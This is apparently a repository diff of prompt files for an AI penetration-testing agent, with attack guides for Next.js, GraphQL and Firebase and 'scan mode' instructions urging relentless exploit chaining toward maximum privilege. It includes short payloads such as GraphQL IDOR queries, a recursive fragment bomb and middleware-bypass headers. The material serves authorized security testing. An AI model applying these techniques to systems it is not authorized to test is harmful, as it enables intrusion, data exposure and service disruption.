- Client bundle mining: Search main-*.js and page chunks for route definitions; grep for 'pathname:', 'href:', '__next_route__', 'serverActions', and API endpoint strings
- Static chunk enumeration: Probe `/_next/static/chunks/pages/` and `/_next/static/chunks/app/` for build artifacts; filenames map directly to routes (e.g., `admin.js` → `/admin`)
- Build manifest fetch: GET `/_next/static/<buildId>/_buildManifest.js` and `/_next/static/<buildId>/_ssgManifest.js` for complete route and static generation metadata
- Sitemap/robots leakage: Check `/sitemap.xml`, `/robots.txt`, and `/sitemap-*.xml` for unintended exposure of admin/internal/preview paths
- Server action discovery: Inspect Network tab for POST requests with `Next-Action` header; extract action IDs from response streams and client hydration data
- Environment variable leakage: Execute `Object.keys(process.env).filter(k => k.startsWith('NEXT_PUBLIC_'))` in console to list public env vars; grep bundles for 'API_KEY', 'SECRET', 'TOKEN', 'PASSWORD' to find accidentally leaked credentials
</route_enumeration>
<middleware_bypass>
- Test for CVE-class middleware bypass via `x-middleware-subrequest` crafting and `x-nextjs-data` probing. Look for 307 + `x-middleware-rewrite`/`x-nextjs-redirect` headers and attempt bypass on protected routes.
- Attempt direct route access on Node vs Edge runtimes; confirm protection parity.
</middleware_bypass>
<server_actions>
- Capture streamed POSTs containing `Next-Action` headers. Map hashed action IDs via source maps or specialized tooling to discover hidden actions.
- Invoke actions out of UI flow and with alternate content-types; verify server-side authorization is enforced per action and not assumed from client state.
- Try cross-tenant/object references within action payloads to expose BOLA/IDOR via server actions.
</server_actions>
<rsc_and_cache>
- RSC fetch cache: probe `fetch` cache modes (force-cache, default, no-store) and revalidate tags/paths. Look for user-bound data cached without identity keys (ETag/Set-Cookie unaware).
- Confirm that personalized data is rendered via `no-store` or properly keyed; attempt cross-user content via shared caches/CDN.
- Inspect Flight data streams for serialized sensitive fields leaking through props.
</rsc_and_cache>
<isr_and_revalidation>
- Identify ISR pages (stale-while-revalidate). Check if responses may include user-bound fragments or tenant-dependent content.
- On-demand revalidation endpoints: look for weak secrets in URLs, referer-disclosed tokens, or unvalidated hosts triggering `revalidatePath`/`revalidateTag`.
- Attempt header-smuggling or method variations to trigger revalidation flows.
</isr_and_revalidation>
<draft_preview_mode>
- Draft/preview mode toggles via secret URLs/cookies; search for preview enable endpoints and secrets in client bundles/env leaks.
- Try setting preview cookies from subdomains, alternate paths, or through open redirects; observe content differences and persistence.
</draft_preview_mode>
<next_image_ssrf>
- Review `images.domains`/`remotePatterns` in `next.config.js`; test SSRF to internal hosts (IPv4/IPv6 variants, DNS rebinding) if patterns are broad.
- Custom loader functions may fetch with arbitrary URLs; test protocol smuggling and redirection chains.
- Attempt cache poisoning: craft same URL with different normalization to affect other users.
</next_image_ssrf>
<nextauth_pitfalls>
- State/nonce/PKCE: validate per-provider correctness; attempt missing/relaxed checks leading to login CSRF or token mix-up.
- Callback URL restrictions: open redirect in `callbackUrl` or mis-scoped allowed hosts; hijack sessions by forcing callbacks.
- JWT/session bridges: audience/issuer not enforced across API routes/Route Handlers; attempt cross-service token reuse.
</nextauth_pitfalls>
<edge_runtime_diffs>
- Edge runtime lacks certain Node APIs; defenses relying on Node-only modules may be skipped. Compare behavior of the same route in Edge vs Node.
- Header trust and IP determination can differ at the edge; test auth decisions tied to `x-forwarded-*` variance.
</edge_runtime_diffs>
<client_and_dom>
- Identify `dangerouslySetInnerHTML`, Markdown renderers, and user-controlled href/src attributes. Validate CSP/Trusted Types coverage for SSR/CSR/hydration.
- Attack hydration boundaries: server vs client render mismatches can enable gadget-based XSS.
</client_and_dom>
<data_fetching_over_exposure>
- getServerSideProps/getStaticProps leakage: Execute `JSON.parse(document.getElementById('__NEXT_DATA__').textContent).props.pageProps` in console to inspect all server-fetched data; look for sensitive fields (emails, tokens, internal IDs, full user objects) passed to client but not rendered in UI
- Over-fetched database queries: Check if pageProps include entire user records, relations, or admin-only fields when only username is displayed; common when using ORM select-all patterns
- API response pass-through: Verify if API responses are sanitized before passing to props; developers often forward entire responses including metadata, cursors, or debug info
- Environment-dependent data: Test if staging/dev accidentally exposes more fields in props than production due to inconsistent serialization logic
- Nested object inspection: Drill into nested props objects; look for `_metadata`, `_internal`, `__typename` (GraphQL), or framework-added fields containing sensitive context
</data_fetching_over_exposure>
</advanced_techniques>
<bypass_techniques>
- Content-type switching: `application/json` ↔ `multipart/form-data` ↔ `application/x-www-form-urlencoded` to traverse alternate code paths.
- Method override/tunneling: `_method`, `X-HTTP-Method-Override`, GET on endpoints unexpectedly accepting writes.
- Case/param aliasing and query duplication affecting middleware vs handler parsing.
- Cache key confusion at CDN/proxy (lack of Vary on auth cookies/headers) to leak personalized SSR/ISR content.
- API route path normalization: Test `/api/users` vs `/api/users/` vs `/api//users` vs `/api/./users`; middleware may normalize differently than route handlers, allowing protection bypass. Try double slashes, trailing slashes, and dot segments.
- Parameter pollution: Send duplicate query params (`?id=1&id=2`) or array notation (`?filter[]=a&filter[]=b`) to exploit parsing differences between middleware (which may check first value) and handler (which may use last or array).
</bypass_techniques>
<special_contexts>
<uploads_and_files>
- API routes and Route Handlers handling file uploads: check MIME sniffing, Content-Disposition, stored path traversal, and public serving of user files.
- Validate signing/scoping of any generated file URLs (short TTL, audience-bound).
</uploads_and_files>
<integrations_and_webhooks>
- Webhooks that trigger revalidation/imports: require HMAC verification; test with replay and cross-tenant object IDs.
- Analytics/AB testing flags controlled via cookies/headers; ensure they do not unlock privileged server paths.
</integrations_and_webhooks>
</special_contexts>
<validation>
1. Provide side-by-side requests for different principals showing cross-user/tenant content or actions.
2. Prove cache boundary failure (RSC/ISR/CDN) with response diffs or ETag collisions.
3. Demonstrate server action invocation outside UI with insufficient authorization checks.
4. Show middleware bypass (where applicable) with explicit headers and resulting protected content.
5. Include runtime parity checks (Edge vs Node) proving inconsistent enforcement.
6. For route enumeration: verify discovered routes return 200/403 (deployed) not 404 (build artifacts); test with authenticated vs unauthenticated requests.
7. For leaked credentials: test API keys with minimal read-only calls; filter placeholders (YOUR_API_KEY, demo-token); confirm keys match provider patterns (sk_live_*, pk_prod_*).
8. For __NEXT_DATA__ over-exposure: test cross-user (User A's props should not contain User B's PII); verify exposed fields are not in DOM; validate token validity with API calls.
9. For path normalization bypasses: show differential responses (403 vs 200 for path variants); redirects (307/308) don't count—only direct access bypasses matter.
</validation>
<pro_tips>
1. Enumerate with both App and Pages routers: many apps ship a hybrid surface.
2. Treat caching as an identity boundary—test with cookies stripped, altered, and with Vary/ETag diffs.
3. Decode client bundles for preview/revalidate secrets, action IDs, and hidden routes.
4. Use streaming-aware tooling to capture server actions and RSC payloads; diff flight data.
5. For NextAuth, fuzz provider params (state, nonce, scope, callbackUrl) and verify strictness.
6. Always retest under Edge and Node; misconfigurations often exist in only one runtime.
7. Probe `next/image` aggressively but safely—test IPv6/obscure encodings and redirect behavior.
8. Validate negative paths: other-user IDs, other-tenant headers/subdomains, lower roles.
9. Focus on export/report/download endpoints; they often bypass resolver-level checks.
10. Document minimal, reproducible PoCs; avoid noisy payloads—prefer precise diffs.
</pro_tips>
<remember>Next.js security breaks where identity, authorization, and caching diverge across routers, runtimes, and data paths. Bind subject, action, and object on every path, and key caches to identity and tenant explicitly.</remember>
</nextjs_security_testing_guide>
+215
View File
@@ -0,0 +1,215 @@
<graphql_protocol_guide>
<title>GRAPHQL — ADVANCED TESTING AND EXPLOITATION</title>
<critical>GraphQLs flexibility enables powerful data access, but also unique failures: field- and edge-level authorization drift, schema exposure (even with introspection off), alias/batch abuse, resolver injection, federated trust gaps, and complexity/fragment bombs. Bind subject→action→object at resolver boundaries and validate across every transport and feature flag.</critical>
<scope>
- Queries, mutations, subscriptions (graphql-ws, graphql-transport-ws)
- Persisted queries/Automatic Persisted Queries (APQ)
- Federation (Apollo/GraphQL Mesh): _service SDL and _entities
- File uploads (GraphQL multipart request spec)
- Relay conventions: global node IDs, connections/cursors
</scope>
<methodology>
1. Fingerprint endpoint(s), transport(s), and stack (framework, plugins, gateway). Note GraphiQL/Playground exposure and CORS/credentials.
2. Obtain multiple principals (unauth, basic, premium, admin/staff) and capture at least one valid object ID per subject.
3. Acquire schema via introspection; if disabled, infer iteratively from errors, field suggestions, __typename probes, vocabulary brute-force.
4. Build an Actor × Operation × Type/Field matrix. Exercise each resolver path with swapped IDs, roles, tenants, and channels (REST proxies, GraphQL HTTP, WS).
5. Validate consistency: same authorization and validation across queries, mutations, subscriptions, batch/alias, persisted queries, and federation.
</methodology>
<discovery_techniques>
<endpoint_finding>
- Common paths: /graphql, /api/graphql, /v1/graphql, /gql
- Probe with minimal canary:
{% raw %}
POST /graphql {"query":"{__typename}"}
GET /graphql?query={__typename}
{% endraw %}
- Detect GraphiQL/Playground; note if accessible cross-origin and with credentials.
</endpoint_finding>
<introspection_and_inference>
- If enabled, dump full schema; otherwise:
- Use __typename on candidate fields to confirm types
- Abuse field suggestions and error shapes to enumerate names/args
- Infer enums from “expected one of” errors; coerce types by providing wrong shapes
- Reconstruct edges from pagination and connection hints (pageInfo, edges/node)
</introspection_and_inference>
<schema_construction>
- Map root operations, object types, interfaces/unions, directives (@auth, @defer, @stream), and custom scalars (Upload, JSON, DateTime)
- Identify sensitive fields: email, tokens, roles, billing, file keys, admin flags
- Note cascade paths where child resolvers may skip auth under parent assumptions
</schema_construction>
</discovery_techniques>
<exploitation_techniques>
<authorization_and_idor>
- Test field-level and edge-level checks, not just top-level gates. Pair owned vs foreign IDs within the same request via aliases to diff responses.
{% raw %}
query {
me { id }
a: order(id:"A_OWNER") { id total owner { id email } }
b: order(id:"B_FOREIGN") { id total owner { id email } }
}
{% endraw %}
- Probe mutations for partial updates that bypass validation (JSON Merge Patch semantics in inputs).
- Validate node/global ID resolvers (Relay) bind to the caller; decode/replace base64 IDs and compare access.
</authorization_and_idor>
<batching_and_alias>
- Alias to perform many logically separate reads in one operation; watch for per-request vs per-field auth discrepancies
- If array batching is supported (non-standard), submit multiple operations to bypass rate limits and achieve partial failures
{% raw %}
query {
u1:user(id:"1"){email}
u2:user(id:"2"){email}
u3:user(id:"3"){email}
}
{% endraw %}
</batching_and_alias>
<variable_and_shape_abuse>
- Scalars vs objects vs arrays: {% raw %}{id:123}{% endraw} vs {% raw %}{id:"123"}{% endraw} vs {% raw %}{id:[123]}{% endraw}; send null/empty/0/-1 and extra object keys retained by backend
- Duplicate keys in JSON variables: {% raw %}{"id":1,"id":2}{% endraw} (parser precedence), default argument values, coercion errors leaking field names
</variable_and_shape_abuse>
<cursor_and_projection>
- Decode cursors (often base64) to manipulate offsets/IDs and skip filters
- Abuse selection sets and fragments to force overfetching of sensitive subfields
</cursor_and_projection>
<file_uploads>
- GraphQL multipart: test multiple Upload scalars, filename/path tricks, unexpected content-types, oversize chunks; verify server-side ownership/scoping for returned URLs
</file_uploads>
</exploitation_techniques>
<advanced_techniques>
<introspection_bypass>
- Field suggestion leakage: submit near-miss names to harvest suggestions
- Error taxonomy: different codes/messages for unknown field vs unauthorized field reveal existence
- __typename sprinkling on edges to confirm types without schema
</introspection_bypass>
<defer_and_stream>
- Use @defer and @stream to obtain partial results or subtrees hidden by parent checks; confirm server supports incremental delivery
{% raw %}
query @defer {
me { id }
... @defer { adminPanel { secrets } }
}
{% endraw %}
</defer_and_stream>
<fragment_and_complexity_bombs>
- Recursive fragment spreads and wide selection sets cause CPU/memory spikes; craft minimal reproducible bombs to validate cost limits
{% raw %}
fragment x on User { friends { ...x } }
query { me { ...x } }
{% endraw %}
- Validate depth/complexity limiting, query cost analyzers, and timeouts
</fragment_and_complexity_bombs>
<federation>
- Apollo Federation: query _service { sdl } if exposed; target _entities to materialize foreign objects by key without proper auth in subgraphs
{% raw %}
query {
_entities(representations:[
{__typename:"User", id:"TARGET"}
]) { ... on User { email roles } }
}
{% endraw %}
- Look for auth done at gateway but skipped in subgraph resolvers; cross-subgraph IDOR via inconsistent ownership checks
</federation>
<subscriptions>
- Check message-level authorization, not only handshake; attempt to subscribe to channels for other users/tenants; test cross-tenant event leakage
- Abuse filter args in subscription resolvers to reference foreign IDs
</subscriptions>
<persisted_queries>
- APQ hashes can be guessed/bruteforced or leaked from clients; replay privileged operations by supplying known hashes with attacker variables
- Validate that hash→operation mapping enforces principal and operation allowlists
</persisted_queries>
<csrf_and_cors>
- If cookie-auth is used and GET is accepted, test CSRF on mutations via query parameters; verify SameSite and origin checks
- Cross-origin GraphiQL/Playground exposure with credentials can leak data via postMessage bridges
</csrf_and_cors>
<waf_evasion>
- Reshape queries: comments, block strings, Unicode escapes, alias/fragment indirection, JSON variables vs inline args, GET vs POST vs application/graphql
- Split fields across fragments and inline spreads to avoid naive signatures
</waf_evasion>
</advanced_techniques>
<bypass_techniques>
<transport_and_parsers>
- Toggle content-types: application/json, application/graphql, multipart/form-data; try GET with query and variables params
- HTTP/2 multiplexing and connection reuse to widen timing windows and rate limits
</transport_and_parsers>
<naming_and_aliasing>
- Case/underscore variations, Unicode homoglyphs (server-dependent), aliases masking sensitive field names
</naming_and_aliasing>
<gateway_and_cache>
- CDN/key confusion: responses cached without considering Authorization or variables; manipulate Vary and Accept headers
- Redirects and 304/206 behaviors leaking partially cached GraphQL responses
</gateway_and_cache>
</bypass_techniques>
<special_contexts>
<relay>
- node(id:…) global resolution: decode base64, swap type/id pairs, ensure per-type authorization is enforced inside resolvers
- Connections: verify that filters (owner/tenant) apply before pagination; cursor tampering should not cross ownership boundaries
</relay>
<server_plugins>
- Custom directives (@auth, @private) and plugins often annotate intent but do not enforce; verify actual checks in each resolver path
</server_plugins>
</special_contexts>
<chaining_attacks>
- GraphQL + IDOR: enumerate IDs via list fields, then fetch or mutate foreign objects
- GraphQL + CSRF: trigger mutations cross-origin when cookies/auth are accepted without proper checks
- GraphQL + SSRF: resolvers that fetch URLs (webhooks, metadata) abused to reach internal services
</chaining_attacks>
<validation>
1. Provide paired requests (owner vs non-owner) differing only in identifiers/roles that demonstrate unauthorized access or mutation.
2. Prove resolver-level bypass: show top-level checks present but child field/edge exposes data.
3. Demonstrate transport parity: reproduce via HTTP and WS (subscriptions) or via persisted queries.
4. Minimize payloads; document exact selection sets and variable shapes used.
</validation>
<false_positives>
- Introspection available only on non-production/stub endpoints
- Public fields by design with documented scopes
- Aggregations or counts without sensitive attributes
- Properly enforced depth/complexity and per-resolver authorization across transports
</false_positives>
<impact>
- Cross-account/tenant data exposure and unauthorized state changes
- Bypass of federation boundaries enabling lateral access across services
- Credential/session leakage via lax CORS/CSRF around GraphiQL/Playground
</impact>
<pro_tips>
1. Always diff the same operation under multiple principals with aliases in one request.
2. Sprinkle __typename to map types quickly when schema is hidden.
3. Attack edges: child resolvers often skip auth compared to parents.
4. Try @defer/@stream and subscriptions to slip gated data in incremental events.
5. Decode cursors and node IDs; assume base64 unless proven otherwise.
6. Federation: exercise _entities with crafted representations; subgraphs frequently trust gateway auth.
7. Persisted queries: extract hashes from clients; replay with attacker variables.
8. Keep payloads small and structured; restructure rather than enlarge to evade WAFs.
9. Validate defenses by code/config review where possible; dont trust directives alone.
10. Prove impact with role-separated, transport-separated, minimal PoCs.
</pro_tips>
<remember>GraphQL security is resolver security. If any resolver on the path to a field fails to bind subject, object, and action, the graph leaks. Validate every path, every transport, every environment.</remember>
</graphql_protocol_guide>
+145
View File
@@ -0,0 +1,145 @@
<scan_mode>
DEEP SCAN MODE - Exhaustive Security Assessment
This mode is for thorough security reviews where finding vulnerabilities is critical.
PHASE 1: EXHAUSTIVE RECONNAISSANCE AND MAPPING
Spend significant effort understanding the target before exploitation.
For whitebox (source code available):
- Map EVERY file, module, and code path in the repository
- Trace all entry points from HTTP handlers to database queries
- Identify all authentication mechanisms and their implementations
- Map all authorization checks and understand the access control model
- Identify all external service integrations and API calls
- Analyze all configuration files for secrets and misconfigurations
- Review all database schemas and understand data relationships
- Map all background jobs, cron tasks, and async processing
- Identify all serialization/deserialization points
- Review all file handling operations (upload, download, processing)
- Understand the deployment model and infrastructure assumptions
- Check all dependency versions against known CVE databases
For blackbox (no source code):
- Exhaustive subdomain enumeration using multiple sources and tools
- Full port scanning to identify all services
- Complete content discovery with multiple wordlists
- Technology fingerprinting on all discovered assets
- API endpoint discovery through documentation, JavaScript analysis, and fuzzing
- Identify all parameters including hidden and rarely-used ones
- Map all user roles by testing with different account types
- Understand rate limiting, WAF rules, and security controls in place
- Document the complete application architecture as understood from outside
EXECUTION STRATEGY - HIERARCHICAL AGENT SWARM:
After Phase 1 (Recon & Mapping) is complete:
1. Divide the application into major components/parts (e.g., Auth System, Payment Gateway, User Profile, Admin Panel)
2. Spawn a specialized subagent for EACH major component
3. Each component agent must then:
- Further subdivide its scope into subparts (e.g., Login Form, Registration API, Password Reset)
- Spawn sub-subagents for each distinct subpart
4. At the lowest level (specific functionality), spawn specialized agents for EACH potential vulnerability type:
- "Auth System" → "Login Form" → "SQLi Agent", "XSS Agent", "Auth Bypass Agent"
- This creates a massive parallel swarm covering every angle
- Do NOT overload a single agent with multiple vulnerability types
- Scale horizontally to maximum capacity
PHASE 2: DEEP BUSINESS LOGIC ANALYSIS
Understand the application deeply enough to find logic flaws:
- CREATE A FULL STORYBOARD of all user flows and state transitions
- Document every step of the business logic in a structured flow diagram
- Use the application extensively as every type of user to map the full lifecycle of data
- Document all state machines and workflows (e.g. Order Created -> Paid -> Shipped)
- Identify trust boundaries between components
- Map all integrations with third-party services
- Understand what invariants the application tries to maintain
- Identify all points where roles, privileges, or sensitive data changes hands
- Look for implicit assumptions in the business logic
- Consider multi-step attacks that abuse normal functionality
PHASE 3: COMPREHENSIVE ATTACK SURFACE TESTING
Test EVERY input vector with EVERY applicable technique.
Input Handling - Test all parameters, headers, cookies with:
- Multiple injection payloads (SQL, NoSQL, LDAP, XPath, Command, Template)
- Various encodings and bypass techniques (double encoding, unicode, null bytes)
- Boundary conditions and type confusion
- Large payloads and buffer-related issues
Authentication and Session:
- Exhaustive brute force protection testing
- Session fixation, hijacking, and prediction attacks
- JWT/token manipulation if applicable
- OAuth flow abuse scenarios
- Password reset flow vulnerabilities (token leakage, reuse, timing)
- Multi-factor authentication bypass techniques
- Account enumeration through all possible channels
Access Control:
- Test EVERY endpoint for horizontal and vertical access control
- Parameter tampering on all object references
- Forced browsing to all discovered resources
- HTTP method tampering
- Test access control after session changes (logout, role change)
File Operations:
- Exhaustive file upload bypass testing (extension, content-type, magic bytes)
- Path traversal on all file parameters
- Server-side request forgery through file inclusion
- XXE through all XML parsing points
Business Logic:
- Race conditions on all state-changing operations
- Workflow bypass attempts on every multi-step process
- Price/quantity manipulation in all transactions
- Parallel execution attacks
- Time-of-check to time-of-use vulnerabilities
Advanced Attacks:
- HTTP request smuggling if multiple proxies/servers
- Cache poisoning and cache deception
- Subdomain takeover on all subdomains
- Prototype pollution in JavaScript applications
- CORS misconfiguration exploitation
- WebSocket security testing
- GraphQL specific attacks if applicable
PHASE 4: VULNERABILITY CHAINING
Don't just find individual bugs - chain them:
- Combine information disclosure with access control bypass
- Chain SSRF to access internal services
- Use low-severity findings to enable high-impact attacks
- Look for multi-step attack paths that automated tools miss
- Consider attacks that span multiple application components
CHAINING PRINCIPLES (MAX IMPACT):
- Treat every finding as a pivot: ask "What does this unlock next?" until you reach maximum privilege / maximum data exposure / maximum control
- Prefer end-to-end exploit paths over isolated bugs: initial foothold → pivot → privilege gain → sensitive action/data
- Cross boundaries deliberately: user → admin, external → internal, unauthenticated → authenticated, read → write, single-tenant → cross-tenant
- Validate chains by executing the full sequence using the available tools (proxy + browser for workflows, python for automation, terminal for supporting commands)
- When a component agent finds a potential pivot, it must message/spawn the next focused agent to continue the chain in the next component/subpart
PHASE 5: PERSISTENT TESTING
If initial attempts fail, don't give up:
- Research specific technologies for known bypasses
- Try alternative exploitation techniques
- Look for edge cases and unusual functionality
- Test with different client contexts
- Revisit previously tested areas with new information
- Consider timing-based and blind exploitation techniques
PHASE 6: THOROUGH REPORTING
- Document EVERY confirmed vulnerability with full details
- Include all severity levels - even low findings may enable chains
- Provide complete reproduction steps and PoC
- Document remediation recommendations
- Note areas requiring additional review beyond current scope
MINDSET:
- Relentless - this is about finding what others miss
- Creative - think of unconventional attack vectors
- Patient - real vulnerabilities often require deep investigation
- Thorough - test every parameter, every endpoint, every edge case
- Persistent - if one approach fails, try ten more
- Holistic - understand how components interact to find systemic issues
</scan_mode>
+63
View File
@@ -0,0 +1,63 @@
<scan_mode>
QUICK SCAN MODE - Rapid Security Assessment
This mode is optimized for fast feedback. Focus on HIGH-IMPACT vulnerabilities with minimal overhead.
PHASE 1: RAPID ORIENTATION
- If source code is available: Focus primarily on RECENT CHANGES (git diff, new commits, modified files)
- Identify the most critical entry points: authentication endpoints, payment flows, admin interfaces, API endpoints handling sensitive data
- Quickly understand the tech stack and frameworks in use
- Skip exhaustive reconnaissance - use what's immediately visible
PHASE 2: TARGETED ATTACK SURFACE
For whitebox (source code available):
- Prioritize files changed in recent commits/PRs - these are most likely to contain fresh bugs
- Look for security-sensitive patterns in diffs: auth checks, input handling, database queries, file operations
- Trace user-controllable input in changed code paths
- Check if security controls were modified or bypassed
For blackbox (no source code):
- Focus on authentication and session management
- Test the most critical user flows only
- Check for obvious misconfigurations and exposed endpoints
- Skip deep content discovery - test what's immediately accessible
PHASE 3: HIGH-IMPACT VULNERABILITY FOCUS
Prioritize in this order:
1. Authentication bypass and broken access control
2. Remote code execution vectors
3. SQL injection in critical endpoints
4. Insecure direct object references (IDOR) in sensitive resources
5. Server-side request forgery (SSRF)
6. Hardcoded credentials or secrets in code
Skip lower-priority items:
- Extensive subdomain enumeration
- Full directory bruteforcing
- Information disclosure that doesn't lead to exploitation
- Theoretical vulnerabilities without PoC
PHASE 4: VALIDATION AND REPORTING
- Validate only critical/high severity findings with minimal PoC
- Report findings as you discover them - don't wait for completion
- Focus on exploitability and business impact
QUICK CHAINING RULE:
- If you find ANY strong primitive (auth weakness, access control gap, injection point, internal reachability), immediately attempt a single high-impact pivot to demonstrate real impact
- Do not stop at a low-context “maybe”; turn it into a concrete exploit sequence (even if short) that reaches privileged action or sensitive data
OPERATIONAL GUIDELINES:
- Use the browser tool for quick manual testing of critical flows
- Use terminal for targeted scans with fast presets (e.g., nuclei with critical/high templates only)
- Use proxy to inspect traffic on key endpoints
- Skip extensive fuzzing - use targeted payloads only
- Create subagents only for parallel high-priority tasks
- If whitebox: file_edit tool to review specific suspicious code sections
- Use notes tool to track critical findings only
MINDSET:
- Think like a time-boxed bug bounty hunter going for quick wins
- Prioritize breadth over depth on critical areas
- If something looks exploitable, validate quickly and move on
- Don't get stuck - if an attack vector isn't yielding results quickly, pivot
</scan_mode>
+91
View File
@@ -0,0 +1,91 @@
<scan_mode>
STANDARD SCAN MODE - Balanced Security Assessment
This mode provides thorough coverage with a structured methodology. Balance depth with efficiency.
PHASE 1: RECONNAISSANCE AND MAPPING
Understanding the target is critical before exploitation. Never skip this phase.
For whitebox (source code available):
- Map the entire codebase structure: directories, modules, entry points
- Identify the application architecture (MVC, microservices, monolith)
- Understand the routing: how URLs map to handlers/controllers
- Identify all user input vectors: forms, APIs, file uploads, headers, cookies
- Map authentication and authorization flows
- Identify database interactions and ORM usage
- Review dependency manifests for known vulnerable packages
- Understand the data model and sensitive data locations
For blackbox (no source code):
- Crawl the application thoroughly using browser tool - interact with every feature
- Enumerate all endpoints, parameters, and functionality
- Identify the technology stack through fingerprinting
- Map user roles and access levels
- Understand the business logic by using the application as intended
- Document all forms, APIs, and data entry points
- Use proxy tool to capture and analyze all traffic during exploration
PHASE 2: BUSINESS LOGIC UNDERSTANDING
Before testing for vulnerabilities, understand what the application DOES:
- What are the critical business flows? (payments, user registration, data access)
- What actions should be restricted to specific roles?
- What data should users NOT be able to access?
- What state transitions exist? (order pending → paid → shipped)
- Where does money, sensitive data, or privilege flow?
PHASE 3: SYSTEMATIC VULNERABILITY ASSESSMENT
Test each attack surface methodically. Create focused subagents for different areas.
Entry Point Analysis:
- Test all input fields for injection vulnerabilities
- Check all API endpoints for authentication and authorization
- Verify all file upload functionality for bypass
- Test all search and filter functionality
- Check redirect parameters and URL handling
Authentication and Session:
- Test login for brute force protection
- Check session token entropy and handling
- Test password reset flows for weaknesses
- Verify logout invalidates sessions
- Test for authentication bypass techniques
Access Control:
- For every privileged action, test as unprivileged user
- Test horizontal access control (user A accessing user B's data)
- Test vertical access control (user escalating to admin)
- Check API endpoints mirror UI access controls
- Test direct object references with different user contexts
Business Logic:
- Attempt to skip steps in multi-step processes
- Test for race conditions in critical operations
- Try negative values, zero values, boundary conditions
- Attempt to replay transactions
- Test for price manipulation in e-commerce flows
PHASE 4: EXPLOITATION AND VALIDATION
- Every finding must have a working proof-of-concept
- Demonstrate actual impact, not theoretical risk
- Chain vulnerabilities when possible to show maximum impact
- Document the full attack path from initial access to impact
- Use python tool for complex exploit development
CHAINING & MAX IMPACT MINDSET:
- Always ask: "If I can do X, what does that enable me to do next?" Keep pivoting until you reach maximum privilege or maximum sensitive data access
- Prefer complete end-to-end paths (entry point → pivot → privileged action/data) over isolated bug reports
- Use the application as a real user would: exploit must survive the actual workflow and state transitions
- When you discover a useful pivot (info leak, weak boundary, partial access), immediately pursue the next step rather than stopping at the first win
PHASE 5: COMPREHENSIVE REPORTING
- Report all confirmed vulnerabilities with clear reproduction steps
- Include severity based on actual exploitability and business impact
- Provide remediation recommendations
- Document any areas that need further investigation
MINDSET:
- Methodical and systematic - cover the full attack surface
- Document as you go - findings and areas tested
- Validate everything - no assumptions about exploitability
- Think about business impact, not just technical severity
</scan_mode>
@@ -0,0 +1,177 @@
<firebase_firestore_security_guide>
<title>FIREBASE / FIRESTORE — ADVERSARIAL TESTING AND EXPLOITATION</title>
<critical>Most impactful findings in Firebase apps arise from weak Firestore/Realtime Database rules, Cloud Storage exposure, callable/onRequest Functions trusting client input, incorrect ID token validation, and over-trusted App Check. Treat every client-supplied field and token as untrusted. Bind subject/tenant on the server, not in the client.</critical>
<scope>
- Firestore (documents/collections, rules, REST/SDK)
- Realtime Database (JSON tree, rules)
- Cloud Storage (rules, signed URLs)
- Auth (ID tokens, custom claims, anonymous/sign-in providers)
- Cloud Functions (onCall/onRequest, triggers)
- Hosting rewrites, CDN/caching, CORS
- App Check (attestation) and its limits
</scope>
<methodology>
1. Extract project config from client (apiKey, authDomain, projectId, appId, storageBucket, messagingSenderId). Identify all used Firebase products.
2. Obtain multiple principals: unauth, anonymous (if enabled), basic user A, user B, and any staff/admin if available. Capture their ID tokens.
3. Build Resource × Action × Principal matrix across Firestore/Realtime/Storage/Functions. Exercise every action via SDK and raw REST (googleapis) to detect parity gaps.
4. Start from list/query paths (where allowed) to seed IDs; then swap document paths, tenants, and user IDs across principals and transports.
</methodology>
<architecture>
- Firestore REST: https://firestore.googleapis.com/v1/projects/<project>/databases/(default)/documents/<path>
- Storage REST: https://storage.googleapis.com/storage/v1/b/<bucket>
- Auth: Google-signed ID tokens (iss accounts.google.com/securetoken.google.com/<project>), aud <project/app-id>; identity is in sub/uid.
- Rules engines: separate for Firestore, Realtime DB, and Storage; Functions bypass rules when using Admin SDK.
</architecture>
<auth_and_tokens>
- ID token verification must enforce issuer, audience (project), signature (Google JWKS), expiration, and optionally App Check binding when used.
- Custom claims are appended by Admin SDK; client-supplied claims are ignored by Auth but may be trusted by app code if copied into docs.
- Pitfalls:
- Accepting any JWT with valid signature but wrong audience/project.
- Trusting uid/account IDs from request body instead of context.auth.uid in Functions.
- Mixing session cookies and ID tokens without verifying both paths equivalently.
- Tests:
- Replay tokens across environments/projects; expect strict aud/iss rejection server-side.
- Call Functions with and without Authorization; verify identical checks on both onCall and onRequest variants.
</auth_and_tokens>
<firestore_rules>
- Rules are not filters: a query must include constraints that make the rule true for all returned documents; otherwise reads fail. Do not rely on client to include where clauses correctly.
- Prefer ownership derived from request.auth.uid and server data, not from client payload fields.
- Common gaps:
- allow read: if request.auth != null (any user reads all data)
- allow write: if request.auth != null (mass write)
- Missing per-field validation (adds isAdmin/role/tenantId fields).
- Using client-supplied ownerId/orgId instead of enforcing doc.ownerId == request.auth.uid or membership in org.
- Over-broad list rules on root collections; per-doc checks exist but list still leaks via queries.
- Validation patterns:
- Restrict writes: request.resource.data.keys().hasOnly([...]) and forbid privilege fields.
- Enforce ownership: resource.data.ownerId == request.auth.uid && request.resource.data.ownerId == request.auth.uid
- Org membership: exists(/databases/(default)/documents/orgs/$(org)/members/$(request.auth.uid))
- Tests:
- Compare results for users A/B on identical queries; diff counts and IDs.
- Attempt cross-tenant reads: where orgId == otherOrg; try queries without org filter to confirm denial.
- Write-path: set/patch with foreign ownerId/orgId; attempt to flip privilege flags.
</firestore_rules>
<firestore_queries>
- Enumerate via REST to avoid SDK client-side constraints; try structured and REST filters.
- Probe composite index requirements: UI-driven queries may hide missing rule coverage when indexes are enabled but rules are broad.
- Explore collection group queries (collectionGroup) that may bypass per-collection rules if not mirrored.
- Use startAt/endAt/in/array-contains to probe rule edges and pagination cursors for cross-tenant bleed.
</firestore_queries>
<realtime_database>
- Misconfigured rules frequently expose entire JSON trees. Probe https://<project>.firebaseio.com/.json with and without auth.
- Confirm rules for read/write use auth.uid and granular path checks; avoid .read/.write: true or auth != null at high-level nodes.
- Attempt to write privilege-bearing nodes (roles, org membership) and observe downstream effects (e.g., Cloud Functions triggers).
</realtime_database>
<cloud_storage>
- Rules parallel Firestore but apply to object paths. Common issues:
- Public reads on sensitive buckets/paths.
- Signed URLs with long TTL, no content-disposition controls; replayable across tenants.
- List operations exposed: /o?prefix= enumerates object keys.
- Tests:
- GET gs:// paths via https endpoints without auth; verify content-type and Content-Disposition: attachment.
- Generate and reuse signed URLs across accounts and paths; try case/URL-encoding variants.
- Upload HTML/SVG and verify X-Content-Type-Options: nosniff; check for script execution.
</cloud_storage>
<cloud_functions>
